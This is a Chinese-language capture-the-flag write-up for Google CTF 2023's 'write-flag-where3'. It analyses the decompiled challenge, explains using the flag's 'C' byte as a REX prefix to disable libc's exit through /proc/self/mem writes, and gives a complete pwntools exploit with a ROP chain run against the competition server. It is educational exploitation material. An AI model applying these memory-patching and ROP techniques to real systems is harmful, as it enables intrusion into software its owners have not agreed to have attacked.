题目分析
int __cdecl main(int argumentCount, const char **arguments, const char **environmentVariables)
{
__int64 buffer[9]; // [rsp+0h] [rbp-70h] BYREF
_DWORD numbers[3]; // [rsp+4Ch] [rbp-24h] BYREF
int fileDescriptor1; // [rsp+58h] [rbp-18h]
int bytesRead; // [rsp+5Ch] [rbp-14h]
int fileDescriptor2; // [rsp+60h] [rbp-10h]
int fileDescriptor3; // [rsp+64h] [rbp-Ch]
int fileDescriptor4; // [rsp+68h] [rbp-8h]
int mapsFileDescriptor; // [rsp+6Ch] [rbp-4h]
mapsFileDescriptor = open("/proc/self/maps", 0, environmentVariables);
read(mapsFileDescriptor, maps, 0x1000uLL);
close(mapsFileDescriptor);
fileDescriptor4 = open("./flag.txt", 0);
if ( fileDescriptor4 == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(fileDescriptor4, &flag, 0x80uLL) > 0 )
{
close(fileDescriptor4);
fileDescriptor3 = dup2(1, 1337);
fileDescriptor2 = open("/dev/null", 2);
dup2(fileDescriptor2, 0);
dup2(fileDescriptor2, 1);
dup2(fileDescriptor2, 2);
close(fileDescriptor2);
alarm(0x3Cu);
dprintf(
fileDescriptor3,
"Your skills are considerable, I'm sure you'll agree\n"
"But this final level's toughness fills me with glee\n"
"No writes to my binary, this I require\n"
"For otherwise I will surely expire\n");
dprintf(fileDescriptor3, "%s\n\n", maps);
while ( 1 )
{
memset(buffer, 0, 64);
bytesRead = read(fileDescriptor3, buffer, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buffer, "0x%llx %u", &numbers[1], numbers) != 2
|| numbers[0] > 0x7Fu
|| *(_QWORD *)&numbers[1] >= (unsigned __int64)main - 0x5000// 新增了2个条件
&& (unsigned __int64)main + 0x5000 >= *(_QWORD *)&numbers[1] )// 输入的地址需要不能在main+-0x5000之间
// 只能修改栈或者libc的内容
{
break;
}
fileDescriptor1 = open("/proc/self/mem", 2);// 跟之前一样
lseek64(fileDescriptor1, *(__off64_t *)&numbers[1], 0);
write(fileDescriptor1, &flag, numbers[0]);
close(fileDescriptor1);
}
exit(0); // 之后有打印
}
puts("flag.txt empty");
return 1;
}
}
相比于2,这里在2的基础上,禁止了对elf文件本身的修改(把2的操作给限制了),能操作修改的范围只有栈和libc了
前置知识
寄存器扩展前缀(REX前缀,REX Prefixes):REX前缀能在64位模式下扩展AMD64寄存器的用法,REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。(参考资料[1])
利用分析
flag格式中第一个字符C
,对应的值刚好是0x43,可以作为REX前缀,通过修改指令,可以让一些原本有功能的指令变滑板,类似nop的作用,跳过一些指令
不能从elf中跳过exit的调用,因为知道libc基地址,也能进行任意地址写入,那就可以从libc层面把exit功能给禁用掉!
在程序中,最后会调用exit
这个函数位于libc里:
public exit
.text:00000000000455F0 exit proc near ; CODE XREF: sub_29D10:loc_29D92↑p
.text:00000000000455F0 ; __unwind {
.text:00000000000455F0 F3 0F 1E FA endbr64
.text:00000000000455F4 50 push rax
.text:00000000000455F5 58 pop rax
.text:00000000000455F6 B9 01 00 00 00 mov ecx, 1
.text:00000000000455FB BA 01 00 00 00 mov edx, 1
.text:0000000000045600 48 8D 35 31 42 1D 00 lea rsi, off_219838
.text:0000000000045607 48 83 EC 08 sub rsp, 8 ; 修改这里,不要动栈
.text:000000000004560B E8 80 FD FF FF call sub_45390 ; 修改这里,不要进入函数
.text:000000000004560B ; } // starts at 455F0
.text:000000000004560B
.text:000000000004560B exit endp
修改exit之后,让他不要进入下一层函数,就会向下直接执行下去:
.text:0000000000045610
.text:0000000000045610 public on_exit ; weak
.text:0000000000045610 on_exit proc near ; DATA XREF: LOAD:000000000000B550↑o
.text:0000000000045610 ; __unwind {
.text:0000000000045610 F3 0F 1E FA endbr64 ;修改这里,不要动栈
.text:0000000000045614 41 54 push r12
.text:0000000000045616 55 push rbp ;修改这里,不要动栈
.text:0000000000045617 53 push rbx
.text:0000000000045618 48 85 FF test rdi, rdi ;修改这里,不要跳转
.text:000000000004561B 0F 84 89 00 00 00 jz loc_456AA
.text:000000000004561B
.text:0000000000045621 48 8D 2D C0 58 1D 00 lea rbp, unk_21AEE8
.text:0000000000045628 48 89 FB mov rbx, rdi
.text:000000000004562B 49 89 F4 mov r12, rsi
.text:000000000004562E 31 C0 xor eax, eax
.text:0000000000045630 BA 01 00 00 00 mov edx, 1
.text:0000000000045635 F0 0F B1 55 00 lock cmpxchg [rbp+0], edx
.text:000000000004563A 75 4C jnz short loc_45688
.text:000000000004563A
.text:000000000004563C
.text:000000000004563C loc_4563C: ; CODE XREF: on_exit+80↓j
.text:000000000004563C 48 8D 3D F5 41 1D 00 lea rdi, off_219838
.text:0000000000045643 E8 88 00 00 00 call sub_456D0
.text:0000000000045643
.text:0000000000045648 48 85 C0 test rax, rax
.text:000000000004564B 74 45 jz short loc_45692
.text:000000000004564B
.text:000000000004564D 4C 89 60 10 mov [rax+10h], r12
.text:0000000000045651 48 89 DF mov rdi, rbx
.text:0000000000045654 48 C7 00 02 00 00 00 mov qword ptr [rax], 2
.text:000000000004565B 64 48 33 3C 25 30 00 00 00 xor rdi, fs:30h
.text:0000000000045664 48 C1 C7 11 rol rdi, 11h
.text:0000000000045668 48 89 78 08 mov [rax+8], rdi
.text:000000000004566C 31 C0 xor eax, eax
.text:000000000004566E 87 45 00 xchg eax, [rbp+0]
.text:0000000000045671 45 31 E4 xor r12d, r12d
.text:0000000000045674 83 F8 01 cmp eax, 1
.text:0000000000045677 7F 27 jg short loc_456A0
.text:0000000000045677
.text:0000000000045679
.text:0000000000045679 loc_45679: ; CODE XREF: on_exit+8E↓j
.text:0000000000045679 ; on_exit+98↓j
.text:0000000000045679 44 89 E0 mov eax, r12d
.text:000000000004567C 5B pop rbx
.text:000000000004567D 5D pop rbp
.text:000000000004567E 41 5C pop r12
.text:0000000000045680 C3 retn
.text:0000000000045680
整个过程中阻止对栈的修改,因为在进入exit函数的时候,栈顶刚好是输入缓冲区buffer
在exit函数中,让栈顶不要改变,pop次数比push次数多一次,刚好把入栈的缓冲区作为返回地址传入给rip,当再次执行ret的时候,就会进入栈中可控区域,进行ROP了
ROP这里要注意的点就是,在上面把标准输出1重定向到了1337,所以需要使用write函数,且第一个参数为1337,才能成功输出结果
所以就需要构造rop来完成这个事情
exp:
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
FILE_NAME = "./chal"
REMOTE_HOST = "wfw3.2023.ctfcompetition.com"
REMOTE_PORT = 1337
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
b main
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
io = start()
# =============================================================================
# ============== exploit ===================
def edit(addr, offset):
io.send(f"{hex(addr)} {offset}".ljust(64,'\x00'))
sleep(2)
io.recvuntil(b"expire\n")
elf.address = int(io.recv(12),16)
for i in range(7):
io.recvline()
base = io.recv(12)
libc.address = int(base,16)
print(hex(elf.address))
print(hex(libc.address))
# 修改libc的exit函数
io.recvuntil(b"\n\n\n")
edit(libc.address + 0x45607, 1)
edit(libc.address + 0x4560B, 1)
edit(libc.address + 0x4560B+4, 1)
edit(libc.address + 0x45610, 1)
edit(libc.address + 0x45611, 1)
edit(libc.address + 0x45612, 1)
edit(libc.address + 0x45613, 1)
edit(libc.address + 0x45616, 1)
edit(libc.address + 0x45618, 1)
edit(libc.address + 0x45619, 1)
edit(libc.address + 0x4561a, 1)
"""
0x000000000011f497 : pop rdx ; pop r12 ; ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
write
0000000000001458
"""
pop_rdx_r12 = libc.address + 0x000000000011f497
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
call_write = elf.address + 0x1458
flag = elf.address + 0x50a0
"""
write(1337,flag,n)
rdi = 1337
rsi = flag
rdx = n
"""
# 构造rop
payload = b""
payload += pack(pop_rdi) + pack(1337)
payload += pack(pop_rsi) + pack(flag)
payload += pack(pop_rdx_r12) + pack(0x40)*2
payload += pack(call_write)
io.send(payload)
# =============================================================================
io.interactive()
输出:
➜ write-flag-where3 python3 exp.py REMOTE
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where3/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where3/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to wfw3.2023.ctfcompetition.com on port 1337: Done
0x562a27a46000
0x7f3c3f275000
[*] Switching to interactive mode
CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive